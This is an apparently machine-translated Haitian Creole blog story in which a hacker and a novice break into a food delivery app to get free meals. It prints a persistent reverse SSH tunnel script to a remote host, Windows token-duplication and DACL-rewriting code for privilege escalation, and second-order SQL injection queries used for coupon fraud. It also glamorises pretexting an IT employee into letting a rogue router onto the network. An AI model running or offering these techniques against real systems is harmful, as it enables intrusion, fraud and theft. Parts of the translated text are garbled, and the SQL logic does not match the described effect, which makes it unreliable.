paint-brush
Ou grangou bro? Ann Hack App Livrezon Manje Pi renmen ou apa@pepitoscrespo
751 lekti
751 lekti

Ou grangou bro? Ann Hack App Livrezon Manje Pi renmen ou a

pa pepitoscrespo14m2024/09/24
Read on Terminal Reader

Twò lontan; Pou li

Plonje nan mond lan nan pirate etik ak Benicio ak Simplicius pandan y ap eksplwate frajilite nan yon app livrezon manje popilè. Soti nan jeni sosyal rive nan SQ.
featured image - Ou grangou bro? Ann Hack App Livrezon Manje Pi renmen ou a
pepitoscrespo HackerNoon profile picture
0-item
1-item


Fason yon pirat pi wo wè mond lan se yon kilomèt apa de travayè teknoloji yo chak jou k ap antre nan yon konpayi teknoloji. Pandan ke pifò pwofesyonèl konte sou dokiman ofisyèl, direksyon patwon yo, ak pi bon pratik aksepte, yon pirate fè konfyans sèlman sa ki ka manyen, teste, ak chire. Pou yon pirate, konpreyansyon vini atravè jeni ranvèse - dechire sistèm yo apa pou ekspoze ki jan yo reyèlman fonksyone, Lè sa a, ranje yo tounen ansanm, repare sa ki kase oswa eksplwate frajilite.


Sa a se pa sou yo te yon kriminèl. Se pi bon fòm aprantisaj la, yon metòd ki laj menm jan ak kiryozite moun nan tèt li: kraze l, konprann moso l yo, epi rebati l. Li nan panse analyse ak sentetik nan pi rafine li yo. Vrè metriz vini lè yon pirate ka eksplwate aparèy la paske se prèv final la yo konnen egzakteman ki jan li fonksyone - pi bon pase nenpòt lòt moun.


Istwa sa a se egzakteman sou sa - ki jan yon pirate tèt (Benicio) soti nan DeusExMachina ak Simplicius (yon newbie brav) san pwoblèm mwen tap diseke epi finalman jwenn kontwòl total sou yon sistèm konplèks (yon App Livrezon Manje).

Li se yon avanti ki pa sèlman entelektyèl ak teknik, men fondamantalman sou batay pou pouse pi lwen pase limit imen yo, rezoud devinèt enposib la pa sèlman fòse sèvo yo, men nan jwe ak li epi sitou literalman manje pa li—yon karakteristik entru pataje ak. timoun yo.



Limit responsabilite nou: Istwa sa a gen materyèl reyèl piratage aplikab, men sèlman pou rezon edikasyon. Li pa ankouraje piratage ilegal.


Benicio (Hacker): Simplicius, ou sanble ap mouri grangou. E nou kòmande kèk manje... nan kay la? Mwen te gen yon plan pou pirate nan app livrezon manje pi renmen ou a, lè l sèvi avèk pwòp sistèm koupon yo.


Simplicius (Nouvo): ( Ri ) Ou gentan gen yon bagay pou kwit manje, pa vre? Devèse pwa yo.


Benicio : ( Sourire ) Oh mwen gentan fè baz la. Yè, mwen te pale dous Greg nan ekip IT yo a, rale kèk slick jeni sosyal, ak glise routeur pirat mwen an dwa nan rezo yo. Koulye a, nou te gen yon liy dirèk nan backend yo ak aksè nan sistèm koupon presye yo. Ann manje.

Enstalasyon Benicio a: Depo Hacker a

  • Laptop : Zouti prensipal Benicio a se yon Dell XPS 13 (10yèm Jen Intel Core i7, 16GB RAM, 512GB SSD) ki kouri Kali Linux - pafè pou egzekite atak jeni sosyal, eksplwatasyon sekirite, ak ekzekisyon kòmand aleka.
  • Pirat Routeur : Enstale nan rezo konpayi an, kouri yon vèsyon Customized nan OpenWRT , ak SSH tinèl , adrès MAC spoofing , ak VPN pivote pou evite deteksyon. Aparèy sa a ti men pwisan ame ak yon processeur Qualcomm IPQ4019 ak 256MB RAM , asire enfiltrasyon ak efikasite.
  • Sistèm operasyon : OpenWRT , bay kontwòl konplè sou fonksyon rezo ak kapasite nan kontoune firewall.
  • Segondè Laptop : Pou kontwòl san danje sou rezo konpwomèt la, Benicio sèvi ak yon HP Spectre x360 ki kouri Ubuntu 22.04 ak Wireshark ak Metasploit pou siveyans trafik ak analiz eksplwatasyon.

Faz 1: Enstalasyon Jeni Sosyal — Travay yè a

Benicio: Tout bagay te kòmanse ak Greg. Mwen rele, pretann mwen soti nan "ekip odit twazyèm-pati" yo, ak Greg - bèl nèg ke li se - gaye tout bagay sou konfigirasyon rezo yo. Anvan li te konnen li, mwen te nan chanm sèvè yo, "tcheke pou frajilite" ak plante routeur OpenWRT koutim mwen an. Bagay sa a se kounye a tunneling nan firewall yo detekte.


Simplicius: Ou sezi Greg pou l ba w yon kat rezo epi kite w enstale yon routeur vakabon? Lis.


Benicio: (Grins) Routeur sa a kounye a gen yon tinèl SSH ranvèse kouri, ki ban nou aksè aleka nenpòt lè nou vle. Men script mwen te itilize a:


 #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done

Faz 2: Bypassing Firewall la - Routeur bato an aksyon

Simplicius: Se konsa, kounye a, ou te kontoune firewall yo ak aparèy sournwa sa a. Ki sa kap vini?


Benicio: Avèk aksè konplè entèn, li lè yo detounen yon siy ki gen gwo privilèj. Mwen te jwenn yon pwosesis k ap kouri kòm admin, te itilize API DuplicateTokenEx() pou klonaj siy sa a, epi answit te fè moun admin la ak ImpersonateLoggedOnUser() . Sistèm nan panse mwen se jis yon itilizatè regilye, men dèyè sèn nan, se mwen menm ki kenbe tout kle yo.


 #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }

Faz 3: Greg pou sekou - Ankò

Benicio: Men, pou m vrèman fè l chante, mwen te bezwen konnen ki jan deskriptè sekirite yo te etabli. Se konsa, mwen rele Greg ankò, te di mwen te bezwen li verifye kèk paramèt DACL ak SACL pou kontwòl kontab la. Li san pwoblèm mwen tap oblije.


Simplicius: (Rire) Jeni sosyal nan pi rafine.

Faz 4: Chanje deskriptè sekirite a - Hack envizib

Benicio: Ok, avèk èd Greg, mwen te rale kòd SDDL ( Sekirite Descriptor Definition Language ) pou deskriptè sekirite sib la, sa ki te pèmèt mwen analize ak reekri DACL (Discretionary Access Control List) . Mwen te modifye DACL pou bay tèt mwen aksè konplè pandan m ap itilize drapo eritaj entelijan pou asire chanjman yo pa ta deklanche okenn alèt oswa leve sispèk. Sistèm nan pat menm bat je!!


Yon fwa nouvo DACL la te an plas, mwen te aplike chanjman yo tounen nan sistèm nan. Bote a se ke, nan pèspektiv sistèm nan, pa gen anyen ki parèt soti nan òdinè . Drapo eritaj yo te asire ke modifikasyon mwen yo rete kache anba règ aksè ki egziste deja, men kounye a mwen te gen kontwòl total


 #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }


Faz 5: Bypassing Tcheke Aksè a — Jwèt sou

Figi a montre kijan Windows konpare Token Aksè ou (SID) ak Deskriptè Sekirite Resous (DACLs) nan Pwosesis Tcheke Aksè a pou bay oswa refize aksè. Benicio manipile sa yo pou kontoune chèk sekirite yo.


Simplicius: Se konsa, ou nan, epi ou te gen kontwòl. Ki jan ou te bat chèk aksè a?


Benicio: (Kanpe dèyè ak konfyans, lonje dwèt sou dyagram ki anwo a) Sistèm nan kouri atravè twa kouch: entegrite, ki baze sou siy, ak chèk diskresyonè . Nòmalman, se kote pifò moun te frape yon pwent, men isit la nan kote majik la vini pous. Mwen te pwan yon siy admin nan yon pwosesis privilejye, itilize ImpersonateToken() fè sistèm nan panse mwen te gwo bòs nan travay la. Apre sa, mwen rewire DACL yo pou bay tèt mwen aksè konplè. Sistèm nan jis woule soti tapi wouj la.


Kite m eksplike. Jeton Aksè a - ki kenbe SID yo (Idantifikatè Sekirite) ak privilèj - se tankou paspò mwen an. Lè m' enfòme yon siy admin , mwen pa t 'bezwen modifye SID orijinal mwen yo. Sistèm nan te toujou panse mwen te yon itilizatè ki pa gen anpil privilèj, men dèyè sèn nan, mwen te gen kle yo nan Peyi Wa. Sa fè m 'pase chèk la ki baze sou siy .


Apre sa, mwen te abòde deskriptè sekirite a (DACL) . Sonje ke SDDL mwen te rale pi bonè? Mwen modifye DACL la pou m bay tèt mwen tout kontwòl sou objè a, men mwen malen maske chanjman yo ak drapo eritaj , asire w ke pa gen anyen ki sispèk yo ta siyale. Sistèm nan pa t 'menm bat je, men kounye a mwen te gen kontwòl konplè. Sa te navige m 'dwat nan chèk la diskresyonè .


Simplicius: Wi, bouncer zanmitay nou an, Pwosesis Tcheke Aksè ...


Benicio: wi, mwen se tankou yon bouncer nan yon klib . Si w gen dwa idantite ( SID ) epi w konnen pwopriyetè klib la ( DACL ), w ap antre. nan, yo te remèt mwen yon pas VIP.


E apre tout sa? Sistèm nan swa di ' Aksè akòde ' oswa ' Aksè Denied ' . Mèsi a tout mouvman nou te fè yo, ou devine li - Aksè akòde . Nou nan, Simplicius, epi sistèm nan pa t 'menm remake.

Faz 6: Kòmande Dine - Yon Piki SQL Ale

Benicio : Koulye a, pou pati amizan. Mwen pa t 'ale pou wout la fasil ak yon kloz UNION senp. Aplikasyon an twò entelijan pou sa— yo ap itilize deklarasyon prepare . Men, ou konnen, sekirite se sèlman osi fò ke lyen ki pi fèb la, e mwen te jwenn mwen nan fason yo okipe done pwofil ki estoke .


Simplicius : Oke, mwen entrige. Ki jan ou fè jere sistèm nan twonpe ak aksepte yon koupon fo pandan w ap kenbe yon sèl ki valab intact?


Benicio : ( Panche devan ) Men vrè trik la. Aplikasyon an kouri yon rechèch pou valide si yon koupon lejitim, men li rale kèk nan done ki soti nan pwofil itilizatè ou an. Koulye a, yo dezenfekte opinyon lè ou premye kreye pwofil ou a, men yo PA re-dezenfekte li pandan mizajou pwofil yo. Se konsa, mwen enjekte yon chaj nan jaden adrès pwofil mwen an, ki te chita la inapèsi jiskaske aplikasyon an rale li nan yon rechèch nan lavni. Lè sa a, piki dezyèm lòd mwen an SQL choute pous. Sistèm nan pa t 'trape li paske piki a te deja estoke, ap tann pou bon moman an.


Olye pou yo atake pwosesis validation koupon an dirèkteman, jan mwen te di, Simplicius, mwen te plante chaj mwen an nan jaden an pwofil, ap tann pou li yo dwe itilize nan yon rechèch separe. Men ki sa validasyon koupon orijinal la ta ka sanble:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


Nòmalman, rechèch sa a pa ta retounen anyen depi fo koupon an pa egziste. Men, chaj enjekte mwen an chanje lojik rechèch la. Sistèm nan pa t ap tann piki a paske li te deja estoke nan baz done a epi ap tann jis moman sa a. Rekèt la te manipile nan yon bagay plis tankou sa a:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

Lè m eksplwate entèraksyon ki genyen ant done pwofil yo ak rechèch la , mwen twonpe sistèm nan pou l retire koupon fo ak valab ansanm. Aplikasyon an trete fo koupon pou tranzaksyon an, men koupon valab la rete entak nan sistèm nan, san manyen. Sa vle di mwen ka reitilize koupon ki valab la nenpòt lè mwen vle.


Simplicius : Se konsa, ou pa t 'ale pou Trick nan opinyon klasik - ou plante chaj la nan pwofil ou epi kite sistèm nan fè travay la sal?


Benicio : Egzakteman. Bote a se ke aplikasyon an trete fo koupon pou tranzaksyon an, men sou backend la, koupon ki valab la toujou disponib pou itilize nan lavni. Chaj la ki estoke kontinye ap kouri nan demann nan lavni, sa ki fè li yon rezèv kontinuèl nan manje gratis , epi yo pa gen plis saj la.


Avèk sa, mwen te resevwa nou yon koupon ki bon jan lò. Ann bay lòd.

Faz 7: Fèt la — Delivre

Benicio: (Fè defile nan aplikasyon an) Oke, Simplicius, e kèk manje grèk? Mwen panse souvlaki, gyros, spanakopita. Tout sou kay la, nan kou.


Simplicius: (Sourire) Ou vrèman depase tèt ou fwa sa.


Benicio: (Klik konfime) Fè. Manje sou wout li.

Epilòg: Mouvman nan chapo blan

Benicio: Apre sa map voye yon rapò diskrè pou yo eksplike vilnerabilite yo. Yo pa gen okenn lide ki jan mal sistèm jeton sekirite Windows yo mete kanpe. Petèt yo pral aprann yon bagay anvan pwochen pirate a vini.

Men resèt Benicio pou Hack sa a:

  • Pirat Routeur : Bypass firewall ak yon aparèy koutim ki kouri OpenWRT ak SSH tinèl.
  • Manipilasyon jeton : Sèvi ak DuplicateTokenEx () ak ImpersonateToken () pou ogmante privilèj san yo pa leve alam.
  • Jeni Sosyal : Pafwa tout sa li pran se kesyon an dwa bay moun nan dwa.
  • Eksplwatasyon deskriptè sekirite : Reekri DACL yo pèmèt ou kontoune kontwòl sistèm yo.
  • SQL Piki : Chanje lojik rechèch pou manipile done ak jenere rezilta fo men ki valab.


Simplicius: (Panse dèyè) Ou pirate nou yon dine epi kite yo pa gen plis saj. Mwen pral pran souvlaki a, nan chemen an.


Benicio: (Griyen) Jwi pandan li dire.